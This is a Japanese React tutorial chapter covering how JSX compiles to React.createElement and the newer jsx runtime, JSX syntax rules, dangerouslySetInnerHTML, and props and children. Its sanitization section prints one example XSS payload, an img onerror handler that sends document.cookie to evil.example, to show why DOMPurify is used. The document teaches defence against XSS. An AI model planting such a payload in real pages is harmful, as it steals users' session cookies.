JSXとコンポーネント — 描画の仕組みからpropsまで
JSXは、JavaScriptの構文拡張であり、見た目に近い形でUIツリーを書ける記法です。
ビルド時に React.createElement 呼び出しへ変換され、ブラウザが理解できる形になります。
そもそもJSXとは何か — React.createElement の糖衣構文
学習者さっきから <h1> みたいなタグをJavaScriptの中に書いてるけど、これってブラウザがそのまま読めるの?HTMLでもないよね…?
とても良い疑問です。結論から言うと、ブラウザはJSXをそのまま読めません。
ブラウザが理解できるのは HTML・CSS・JavaScript の3つだけです。JSX(<h1>こんにちは</h1> のような書き方)はReact独自の記法なので、そのままでは動きません。
ではどうしているかというと、ビルド(プログラムを動かす前の準備)のタイミングで、JSXをただのJavaScriptに「翻訳」しているのです。この翻訳されたあとのJavaScriptがブラウザに渡されて動きます。
つまりJSXの正体は、React.createElement という関数を呼び出すための、人間にとって読みやすい書き方(糖衣構文 / シンタックスシュガー) だと言えます。
ステップ1: JSXは「関数の呼び出し」に翻訳される
実際にどう翻訳されるのか、一番シンプルな例で見てみましょう。
// 私たちが書くJSX(人間に読みやすい)
const element = <h1 className="title">こんにちは</h1>;
// ↓ ビルド時にこう翻訳される(これがブラウザが実際に動かすコード)
const element = React.createElement('h1', { className: 'title' }, 'こんにちは');上下のコードはまったく同じ意味です。<h1 className="title">こんにちは</h1> と書くのも、React.createElement('h1', { className: 'title' }, 'こんにちは') と書くのも、Reactにとっては同じこと。私たちが楽をできるよう、見やすいJSXで書かせてくれているだけなのです。
先生JSXは「見た目の皮」で、中身はただの関数呼び出し。まずはこのイメージを持っておけばOK!
ステップ2: React.createElement の3つの引数
翻訳先の React.createElement は、次の3つの情報を順番に受け取ります。
React.createElement(
タグ名またはコンポーネント, // 第1引数: 'h1' や 'div'、自作の <Card> など
props, // 第2引数: className や onClick などの属性(なければ null)
...子要素, // 第3引数以降: タグの中身(テキストや別の要素)
);先ほどの例に当てはめると、
- 第1引数
'h1'… どのタグを作るか - 第2引数
{ className: 'title' }… そのタグに付ける属性 - 第3引数
'こんにちは'… タグの中身
となります。HTMLの <h1 class="title">こんにちは</h1> を、関数の引数としてバラバラに渡し直しているイメージです。
ステップ3: 返ってくるのは「ただのオブジェクト」

ここが一番大事なポイントです。React.createElement は、呼び出してもまだ画面には何も表示しません。 代わりに「どんなUIを作りたいか」をメモしただけの、ただのJavaScriptオブジェクトを返します。
// React.createElement('h1', { className: 'title' }, 'こんにちは') の戻り値(イメージ)
{
type: 'h1', // どのタグか
props: {
className: 'title',
children: 'こんにちは', // 中身
},
// ...ほかにReactが内部で使う情報
}このオブジェクトを React要素 と呼びます。いわば「UIの設計図」です。
React要素を組み合わせたツリー全体が、よく聞く「仮想DOM」の正体です。そして最後に ReactDOM がこの設計図(オブジェクト)を読み取って、本物のDOM(=実際に画面に映るもの)を組み立てます。
JSXを書く → React.createElement に翻訳 → オブジェクト(React要素)を作る → ReactDOMが本物の画面にする
ネストすると createElement も入れ子になる
要素の中に要素を入れると、React.createElement も同じように入れ子になります。
// JSX
<section>
<h2>タイトル</h2>
<p>本文</p>
</section>;
// ↓ 翻訳後(子要素が入れ子の createElement になる)
React.createElement(
'section',
null, // 属性がないので null
React.createElement('h2', null, 'タイトル'),
React.createElement('p', null, '本文'),
);いまどきのReactは React.createElement を書かない — 新しいJSX変換

ここまで「JSXは React.createElement に翻訳される」と説明してきました。実はこれは少し前のReactの話で、今のReactでは翻訳先が変わっています。 古い解説記事やサンプルコードとの違いに戸惑わないよう、ここでしっかり押さえておきましょう。
昔は import React が必須だった
React 16以前は、JSXを使うファイルの先頭で必ず React を読み込む必要がありました。
import React from 'react'; // これが無いとエラーになった
function Title() {
return <h1>こんにちは</h1>;
}理由はシンプルです。JSXは React.createElement(...) に翻訳されるため、React という変数がそのファイルに存在しないと、翻訳後のコードが動かなかったからです。
// JSX
return <h1>こんにちは</h1>;
// ↓ 翻訳後。React.createElement の "React" を使うので import が必要だった
return React.createElement('h1', null, 'こんにちは');import React を書き忘れて React is not defined というエラーに悩まされるのは、初心者の通過儀礼のようなものでした。
React 17 から「自動変換」になった
2020年のReact 17で 「新しいJSX変換(automatic runtime)」 が導入され、状況が変わりました。
JSXの翻訳先が、React.createElement から react/jsx-runtime という専用モジュールの jsx() 関数 に変わったのです。しかもこの関数は、ビルドツールが自動で読み込んでくれるようになりました。
その結果、import React を自分で書く必要がなくなりました。
// 今のReact(React 17以降)。import React が無くても動く
function Title() {
return <h1>こんにちは</h1>;
}
// ↓ 翻訳後(イメージ)。jsx を自動で読み込んでくれる
import { jsx as _jsx } from 'react/jsx-runtime';
return _jsx('h1', { children: 'こんにちは' });
学習者え、じゃあ今まで習った React.createElement の話はもう古いの…?覚え直し?
先生大丈夫、安心して。変わったのは「翻訳先の関数の名前」だけ。「JSX → 関数呼び出し → オブジェクト(React要素)を返す」という本質はまったく同じだよ。
JSXのルール
1つのルート要素で返す
隣接した要素をそのまま並べて返すことはできません。親要素で包むか、React Fragment <></> を使います。
// NG
return (
<h2>タイトル</h2>
<p>本文</p>
);
// OK
return (
<>
<h2>タイトル</h2>
<p>本文</p>
</>
);HTMLとの属性名の違い
JSXはJavaScriptなので、HTMLの予約語と衝突する属性名が変わっています。
class → className、for → htmlFor が代表的です。
イベント属性もキャメルケースになります(onclick → onClick)。
波括弧でJavaScript式を埋め込む
{} の中にはJavaScriptの式を書けます。変数、関数呼び出し、三項演算子など、値を返すものなら何でも入ります。
type User = { name: string };
function Welcome({ name }: User) {
return (
<section className="stack">
<h2>ようこそ</h2>
<p>{name} さん</p>
</section>
);
}dangerouslySetInnerHTML — 生HTMLの埋め込み
なぜ文字列のHTMLタグはそのまま表示されるのか

HTMLタグを含む文字列を {} で埋め込んでも、タグとして解釈されずに文字列がそのまま画面に出ます。
const raw = "<strong>太字</strong>";
return <p>{raw}</p>;
// → 画面には「<strong>太字</strong>」という文字列がそのまま表示されるこれはJSXではなくReact(ReactDOM)の仕組みです。処理の流れを見てみましょう。
まず、JSXはビルド時に React.createElement の呼び出しに変換されます。ここではまだエスケープは起きていません。
// JSX
<p>{raw}</p>
// ↓ ビルド時にこう変換される
React.createElement("p", null, raw);エスケープが起きるのは、ReactDOMが仮想DOMを実際のDOMへ反映する段階です。
文字列の子要素に対して、ReactDOMは innerHTML ではなく textContent(テキストノード) としてDOMに挿入します。
textContent はブラウザが文字列をHTMLとして解釈しないため、タグがそのまま表示される、というわけです。
生HTMLを描画したいとき
CMSやMarkdownパーサーから返ってきたHTML文字列をそのまま描画したいときは、dangerouslySetInnerHTML を使います。
ReactDOMはこのpropが指定された要素に対しては innerHTML でHTMLを挿入します。
const html = "<strong>太字</strong>";
return <p dangerouslySetInnerHTML={{ __html: html }} />;
// → 画面には「太字」と太字で表示されるサニタイズ — なぜ必要で、何をするのか

dangerouslySetInnerHTML は innerHTML を使うため、渡したHTML文字列がそのままブラウザに解釈されます。
もしその文字列にユーザーが仕込んだ悪意あるコードが含まれていたら、そのまま実行されてしまいます。
<!-- ユーザーがコメント欄にこう入力したとする -->
<img src="x" onerror="document.location='https://evil.example/steal?cookie='+document.cookie" />これが innerHTML 経由でDOMに入ると、ブラウザは onerror を実行し、Cookieが外部に送信されます。
これがクロスサイトスクリプティング(XSS) です。
サニタイズとは、HTML文字列から危険な要素・属性を取り除き、安全なHTMLだけを残す処理のことです。
具体的には <script> タグの除去、onerror などのイベント属性の除去、javascript: スキームのURL除去などを行います。
import DOMPurify from "dompurify";
const dirty = '<p>本文</p><script>alert("XSS")</script>';
const clean = DOMPurify.sanitize(dirty);
// → '<p>本文</p>'(scriptタグが除去される)
return <div dangerouslySetInnerHTML={{ __html: clean }} />;実務では、Next.jsでのCMS連携やMDXコンテンツの表示など、フレームワーク側の機能と組み合わせて使うケースが中心です。 詳しくは「Next.jsからはじめよう」で扱います。
propsで部品を再利用する
コンポーネントは入力としてpropsオブジェクトを受け取ります。 親が子へ値や関数を渡し、子はそれを使って表示やイベント処理を行います。
よくあるpropsの種類として、表示用のデータ(ラベル、数値、画像URLなど)、見た目のバリアント("primary" | "ghost" のような列挙でクラスを切り替える)、コールバック(ボタンが押されたときに親へ通知する onClick など)があります。
propsは子から親へ直接書き換えないのが原則です。 変更が必要なら、親がstateを持ち、イベントでstateを更新して再度子へ流し込みます。
childrenスロット
タグの内側に書いた内容は、特別なprop children として渡せます。
レイアウト用のラッパーやカード枠など、「外枠は固定だが中身は呼び出し側が決める」パターンでよく使います。
function Card(props: { title: string; children: React.ReactNode }) {
return (
<article className="card">
<h3>{props.title}</h3>
<div>{props.children}</div>
</article>
);
}
// 使う側
<Card title="お知らせ">
<p>明日は休業日です。</p>
</Card>;次の章では、画面内で変化するデータを扱う useState と useEffect(Hooks) に入ります。